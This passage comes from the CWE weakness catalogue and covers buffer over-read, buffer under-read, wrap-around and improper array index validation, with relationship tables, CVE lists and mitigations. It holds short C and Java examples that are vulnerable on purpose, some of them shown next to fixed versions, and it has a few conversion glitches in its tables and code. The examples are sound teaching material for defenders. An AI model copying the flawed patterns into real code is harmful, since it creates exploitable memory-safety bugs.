<td>large length value causes out-of-bounds read</td>
</tr>
</tbody>
</table>

**Weakness Ordinalities**

- **Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699 226</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888 1385</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>126</td>
<td>Buffer Over-read</td>
<td>699 254</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>127</td>
<td>Buffer Under-read</td>
<td>699 256</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td>1000 1254</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
<td>1000 1256</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
<td>1000 1257</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>1000 1259</td>
</tr>
</tbody>
</table>

**Research Gaps**

- Under-studied and under-reported. Most issues are probably labeled as buffer overflows.

**Causal Nature**

- **Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>540</td>
<td>Overread Buffers</td>
</tr>
</tbody>
</table>

**(CAPEC Version 2.10)**

**References**


---

**CWE-126: Buffer Over-read**

**Weakness ID:** 126 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

**Extended Description**

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**
Confidentiality
Read memory

Demonstrative Examples
In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C/C++ Example:

```c
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-2523</td>
<td>Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2014-0160</td>
<td>Chain: &quot;Heartbleed&quot; bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>699</td>
<td>253</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
<td>699</td>
<td>1212</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
<td>1385</td>
</tr>
<tr>
<td>CanFollow</td>
<td>🍀</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>1000</td>
<td>328</td>
</tr>
</tbody>
</table>

Relationship Notes
These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings
CWE-127: Buffer Under-read

Weakness ID: 127 (Weakness Variant) Status: Draft

Description
Summary
The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

Extended Description
This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Confidentiality
Read memory

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>786</td>
<td>Access of Memory Location Before Start of Buffer</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Buffer over-read</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP8</td>
<td>Faulty Buffer Access</td>
</tr>
</tbody>
</table>

CWE-128: Wrap-around Error

Weakness ID: 128 (Weakness Base) Status: Incomplete

Description
Summary
Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

Time of Introduction
• Implementation

Applicable Platforms
Languages
Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: instability
This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity
Modify memory
If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit
Medium

Demonstrative Examples
The following image processing code allocates a table for images.

C Example:

```c
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Potential Mitigations
Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Architecture and Design
Provide clear upper and lower bounds on the scale of any protocols designed.

Implementation
Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

Background Details
Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships
### CWE Version 2.11

**CWE-129: Improper Validation of Array Index**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
</tbody>
</table>

#### Relationship Notes

The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.

#### Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Wrap-around error</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM07-C</td>
<td>Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM07-CPP</td>
<td>Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>92</td>
<td>Forced Integer Overflow</td>
<td></td>
</tr>
</tbody>
</table>

#### References


---

**CWE-129: Improper Validation of Array Index**

**Weakness ID:** 129 *(Weakness Base)*  
**Status:** Draft

#### Description

**Summary**

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

**Alternate Terms**

- out-of-bounds array index
- index-out-of-range
- array index underflow

#### Time of Introduction

- Implementation

#### Applicable Platforms

**Languages**

- C *(Often)*
- C++ *(Often)*
- Language-independent

#### Common Consequences
Integrity
Availability
DoS: crash / exit / restart
Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.

Integrity
Modify memory
If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.

Confidentiality
Integrity
Modify memory
Read memory
Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.

Integrity
Availability
Confidentiality
DoS: crash / exit / restart
Execute unauthorized code or commands
Read memory
Modify memory
A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a
dynamic test might not produce any noticeable side effects even if it is successful.

Demonstrative Examples

Example 1:
In the code snippet below, an untrusted integer value is used to reference an object in an array.

**Java Example:**
```java
public String getValue(int index) {
    return array[index];
}
```

If index is outside of the range of the array, this may result in an ArrayIndexOutOfBoundsException
Exception being raised.

Example 2:
The following example takes a user-supplied value to allocate an array of objects and then
operates on the array.

**Java Example:**
```java
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0
and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 3:
In the following code, the method retrieves a value from an array at a specific array index location
that is given as an input parameter to the method

**C Example:**
```c
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }else {
        // if array index is invalid then output error message
        // and return value indicating error
        printf("Value is: \%d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of
the array but does not check for the minimum value (CWE-839). This will allow a negative value
to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and
may allow access to sensitive memory. The input array index should be checked to verify that is
within the maximum and minimum range required for the array (CWE-129). In this example the if
statement should be modified to include a minimum range check, as shown below.

**C Example:**
```c
...
// check that the array index is within the correct
// range of values for the array
```
if (index >= 0 && index < len) {
    ...
}

Example 4:
The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

C Example:  
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0) {
        // continue read from socket until buf only contains '.
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            sizes[num - 1] = size;
        }
    }
    ...
}

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

C Example:  
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0) {
        // continue read from socket until buf only contains '.
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
    ...
}

Example 5:
In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the
getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

**Java Example:**

```java
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("";
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

**Java Example:**

```java
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("";
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

**Java Example:**

```java
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
... try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

**Example 6:**

The following example asks a user for an offset into an array to select an item.

**C Example:**

```c
int main (int argc, char **argv) {
    char "items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Observed Examples**
CWE Version 2.11

CWE-129: Improper Validation of Array Index

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1009</td>
<td>negative array index as argument to POP LIST command</td>
</tr>
<tr>
<td>CVE-2003-0721</td>
<td>Integer signedness error leads to negative array index</td>
</tr>
<tr>
<td>CVE-2004-1189</td>
<td>product does not properly track a count and a maximum number, which can lead to resultant array index overflow.</td>
</tr>
<tr>
<td>CVE-2005-0369</td>
<td>large ID in packet used as array index</td>
</tr>
<tr>
<td>CVE-2005-2456</td>
<td>Chain: array index error (CWE-129) leads to deadlock (CWE-833)</td>
</tr>
<tr>
<td>CVE-2007-5756</td>
<td>Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Input Validation

Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Operation

Environment Hardening

Defense in Depth

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.129.3] [R.129.4] and Position-Independent Executables (PIE) [R.129.8].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation

Environment Hardening

Defense in Depth

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.129.4] [R.129.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Implementation
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.129.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
Weakness Ordinalities
**Resultant (where the weakness is typically related to the presence of some other weaknesses)**

The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>189</td>
<td>Numeric Errors</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>800</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Relationship Notes**

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

**Theoretical Notes**

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

**Affected Resources**

- Memory

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Unchecked array indexing</td>
</tr>
<tr>
<td>PLOVER</td>
<td></td>
<td>INDEX - Array index overflow</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR00-C</td>
<td>Understand how arrays work</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR30-C</td>
<td>Guarantee that array indices are within the valid range</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR38-C</td>
<td>Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT32-C</td>
<td>Ensure that operations on signed integers do not result in overflow</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT10-CPP</td>
<td>Do not assume a positive remainder when using the % operator</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT32-CPP</td>
<td>Ensure that operations on signed integers do not result in overflow</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR00-CPP</td>
<td>Understand when to prefer vectors over arrays</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR30-CPP</td>
<td>Guarantee that array and vector indices are within the valid range</td>
</tr>
</tbody>
</table>
CWE-130: Improper Handling of Length Parameter Inconsistency

**Weakness ID:** 130 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

**Extended Description**

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

**Alternate Terms**

- length manipulation
- length tampering

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- C *(Sometimes)*
- C++ *(Sometimes)*
CWE Version 2.11

CWE-130: Improper Handling of Length Parameter Inconsistency

Common Consequences

Other

Varies by context

Demonstrative Examples

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C/C++ Example:

```c
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0655</td>
<td>Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1.</td>
</tr>
<tr>
<td>CVE-2001-0191</td>
<td>Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length.</td>
</tr>
<tr>
<td>CVE-2001-0825</td>
<td>Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check.</td>
</tr>
<tr>
<td>CVE-2001-1186</td>
<td>Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection.</td>
</tr>
<tr>
<td>CVE-2002-1235</td>
<td>Length field of a request not verified.</td>
</tr>
<tr>
<td>CVE-2002-1357</td>
<td>Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2003-0327</td>
<td>Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2003-0345</td>
<td>Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required.</td>
</tr>
